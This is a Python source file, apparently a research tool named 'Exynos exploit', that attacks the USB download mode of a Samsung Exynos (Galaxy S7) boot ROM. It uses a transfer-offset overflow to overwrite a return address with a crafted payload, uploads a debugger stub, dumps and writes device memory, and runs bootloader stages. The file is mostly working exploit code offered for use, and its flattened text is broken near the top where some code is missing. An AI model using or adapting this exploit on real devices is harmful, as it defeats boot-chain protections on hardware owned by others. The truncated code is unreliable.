import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * from ghidra_assistant.utils.utils import * from ghidra_assistant.concrete_device import * from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger from qiling.const import QL_ARCH import os def p32(x): return struct.pack("= xfer_buffer_start and current_offset < xfer_buffer_start: break self.send_empty_transfer() current_offset += CHUNK_SIZE cnt += 1 if current_offset > 0x100000000: current_offset = current_offset - 0x100000000 #reset 32 byte integer print(f"{cnt} {hex(current_offset)}") remaining = (TARGET_OFFSETS[self.target][1] - current_offset) assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" if remaining > BLOCK_SIZE: self.send_empty_transfer() # Send last transfer, TODO who aligns this ROM?? current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) cnt += 1 print(f"{cnt} {hex(current_offset)}") # Build ROP chain. rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) transferred = ctypes.c_int(0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0) assert res == 0, "Error sending ROP chain" def usb_write(self, data): assert len(data) <= 0x200, "Data too big" transferred = ctypes.c_int() res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300) assert res == 0, f"Error sending data {res}" assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}" return transferred.value def usb_read(self, size): transferred = ctypes.c_int() buf = ctypes.c_buffer(b"", size) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300) assert res == 0, f"Error receiving data {res}" return buf.raw[:transferred.value] def setup_concrete_device(self, concrete_device : ConcreteDevice): #Setup architecture concrete_device.arch = QL_ARCH.ARM64 concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet concrete_device.ga_vbar_location = 0x206d000 + 0x1000 concrete_device.ga_storage_location = 0x206d000 concrete_device.ga_stack_location = 0x206b000 concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location) concrete_device.arch_dbg.read = self.usb_read concrete_device.arch_dbg.write = self.usb_write #Overwrite all calls to make the concrete target function properly concrete_device.copy_functions() def usb_debug(self): """ Function to debug USB behaviour """ transferred = ctypes.c_int() # Send some data count = 0 def _send_data(): transferred.value = 0 p = p32(count) + b"\xaa" * (0x200 - 4) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) assert res == 0, f"Error sending data ({res})" def _recv_data(): transferred.value = 0 buf = ctypes.c_buffer(b"", 0x200) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) assert res == 0, f"Error receiving data ({res})" hexdump(buf.raw) # Should have received some bytes while True: _send_data() _recv_data() count += 1 def dumb_interact(self): ''' Room for playing around with the debugger ''' self.cd.arch_dbg.state.auto_sync = False self.cd.arch_dbg.state.print_ctx() # Overwrite jump back # self.cd.memwrite_region(0x02020108, p32(0x2069000)) # self.cd.memwrite_region(0x02021800, p32(0x2069000)) self.cd.memwrite_region(0x020200e8, p32(0x02069000)) # address, data. Writes AUTH_BL1 = 0x00012848 def memdump_try(): self.cd.arch_dbg.state.LR = 0x020200e8 self.cd.restore_stack_and_jump(0x02021810) stack_pointer = 0x02021810 dumped = b"" for block in range(0x2020000, 0x2200000, 0x200): stack_pointer += 0x200 self.cd.arch_dbg.state.print_ctx() print(hex(block)) dumped += self.cd.memdump_region(block, 0x200) if stack_pointer >= 0x02020F08: print(f'stack_pointer at {stack_pointer}') return dumped def auth_bl1(): # Load the firmware self.cd.arch_dbg.state.X0 = 1 self.cd.arch_dbg.state.X1 = 1 self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished self.cd.restore_stack_and_jump(AUTH_BL1) def jump_bl1(): self.cd.arch_dbg.state.LR = 0x2069000 self.cd.restore_stack_and_jump(0x02024010) # self.cd.restore_stack_and_jump(0x02021810) #000125b4 # self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished # self.cd.restore_stack_and_jump(0x00012814) # self.cd.restore_stack_and_jump(0x000125b4) dumped = memdump_try() bl1 = open("../S7/bl1.bin", "rb").read() self.cd.memwrite_region(0x02024000, bl1) self.usb_write(b"FLSH") # auth_bl1() jump_bl1() assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" self.cd.arch_dbg.state.print_ctx() def jump_bl31(): self.cd.arch_dbg.state.LR = 0x2069000 self.cd.restore_stack_and_jump(0x02021810) bl31 = open("../S7/bl31.bin", "rb").read() self.cd.memwrite_region(0x02021800, bl31) jump_bl31() assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" self.cd.arch_dbg.state.print_ctx() # memdump_try() # auth_bl1() self.cd.arch_dbg.state.print_ctx() #authenticate it pass def setup_guppy_debugger(self): """ Run the boot chain for the Exynos device. Load and send stage1 payload - exploit (stage1) """ def _setup_debugger(): ''' Setup the debugger as a concrete device ''' self.cd = ConcreteDevice(None, False) self.cd.dev = self.setup_concrete_device(self.cd) self.cd.test_connection() def _initial_run_debugger(): """Write debugger to device and test basic functionality""" if os.getenv("USER") == "eljakim": debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() else: try: debugger = open("../../dump/debugger.bin", "rb").read() except Exception as e: print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}') sys.exit(0) debugger += ((0x2000 - len(debugger)) * b"\x00") assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size" for block in range(0, len(debugger), 0x200): self.usb_write(debugger[block:block+0x200]) # time.sleep(.5) # Wait a little bit assert self.usb_read(0x200) == b"GiAs", "No response from debugger" # Test basic functionality self.usb_write(b"PING") r = self.usb_read(0x200) assert r == b"PONG", f"Invalid response from device: {r}" _initial_run_debugger() _setup_debugger() if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--usb-debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--run-boot-chain", action="store_true", help="Run boot chain to boot different boot stages", default=False) arg.add_argument("--dumb-debug", action="store_true", help="Live debugging on device", default=True) args = arg.parse_args() exynos = ExynosDevice() if args.usb_debug: shellcode = open("../dwc3_test/dwc3.bin", "rb").read() exynos.exploit(shellcode) exynos.usb_debug() elif args.run_boot_chain: stage1 = open("stage1/stage1.bin", "rb").read() exynos.exploit(stage1) exynos.setup_guppy_debugger() exynos.dumb_interact() sys.exit(0)